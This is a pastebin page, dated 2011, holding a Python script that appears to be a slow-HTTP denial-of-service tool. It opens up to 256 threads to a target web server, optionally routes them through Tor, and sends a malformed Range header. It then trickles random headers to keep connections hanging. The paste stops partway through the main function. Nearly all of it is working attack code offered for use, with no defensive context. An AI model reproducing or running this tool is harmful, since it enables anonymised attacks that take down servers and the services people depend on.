RageBin - Collaborative Raging

Ragebin is a collaborative Raging tool allowing you to share and modify rage snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a browser that supports this.

RageBin - Home - View Help - Archive - Ragers IRC - Image Boards

Posted by pewpew on Saturday 22nd October 2011 19:18:12 - Never Expires
download | new post

  1. import os
  2. import re
  3. import time
  4. import sys
  5. import random
  6. import math
  7. import getopt
  8. import socks
  9. import string
  10. import terminal
  11.  
  12. from threading import Thread
  13.  
  14. global stop_now
  15. global term
  16.  
  17. stop_now = False
  18. term = terminal.TerminalController()
  19.  
  20. useragents = [
  21.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  22.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  23.  "Opera/9.20 (Windows NT 6.0; U; en)",
  24.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  25.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  26.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  27.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  28.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  29.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  30.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  31.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  32.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  33.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  34.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  35.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7"
  36. ]
  37.  
  38. class httpPost(Thread):
  39.     def __init__(self, host, port, tor):
  40.         Thread.__init__(self)
  41.         self.host = host
  42.         self.port = port
  43.         self.socks = socks.socksocket()
  44.         self.tor = tor
  45.         self.running = True
  46.                
  47.     def _send_http_post(self, pause=10):
  48.         global stop_now
  49.  
  50.         self.socks.send("GET / HTTP/1.1\r\n"
  51.                         "Host: %s\r\n"
  52.                         "User-Agent: %s\r\n"
  53.                         "Connection: keep-alive\r\n"
  54.                         "Keep-Alive: 900\r\n"
  55.                         "Range: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-"
  56.                         "Accept-Encoding: gzip, deflate, compress" %
  57.                         (self.host, random.choice(useragents)))
  58.  
  59.         for i in range(0, 9999):
  60.             if stop_now:
  61.                 self.running = False
  62.                 break
  63.             p = "X-"+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+": "+random.choice(string.letters+string.digits)
  64.             print term.BOL+term.UP+term.CLEAR_EOL+"HEADER: %s" % p+term.NORMAL
  65.             self.socks.send(p+"\r\n")
  66.             time.sleep(random.uniform(30, 40))
  67.        
  68.         self.socks.close()
  69.                
  70.     def run(self):
  71.         while self.running:
  72.             while self.running:
  73.                 try:
  74.                     if self.tor:    
  75.                         self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  76.                     self.socks.connect((self.host, self.port))
  77.                     print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  78.                     break
  79.                 except Exception, e:
  80.                     if e.args[0] == 106 or e.args[0] == 60:
  81.                         break
  82.                     print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  83.                     time.sleep(1)
  84.                     continue
  85.        
  86.             while self.running:
  87.                 try:
  88.                     self._send_http_post()
  89.                 except Exception, e:
  90.                     if e.args[0] == 32 or e.args[0] == 104:
  91.                         print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  92.                         self.socks = socks.socksocket()
  93.                         break
  94.                     time.sleep(0.1)
  95.                     pass
  96.  
  97. def usage():
  98.     print "./ch.py -t <target> [-r <threads> -p <port> -T -h]"
  99.     print " -t|--target <Hostname|IP>"
  100.     print " -r|--threads <Number of threads> Defaults to 256"
  101.     print " -p|--port <Web Server Port> Defaults to 80"
  102.     print " -h|--help Shows this help\n"
  103.     print "Eg. ./ch.py -t 192.168.1.100 -r 256\n"
  104.  
  105. def main(argv):
  106.    
  107.     try:
  108.         opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  109.     except getopt.GetoptError:
  110.         usage()
  111.         sys.exit(-1)
  112.  
  113.     global stop_now
  114.        
  115.     target = ''
  116.     threads = 256
  117.     tor = False
  118.     port = 80

Submit a correction or amendment below. (click here to post a fresh rage)
After submitting an amendment, you'll be able to view the differences between the old and new rage easily.
Syntax Highlighting:
To highlight particular lines, prefix each line with @@
Pressing TAB inserts 3 spaces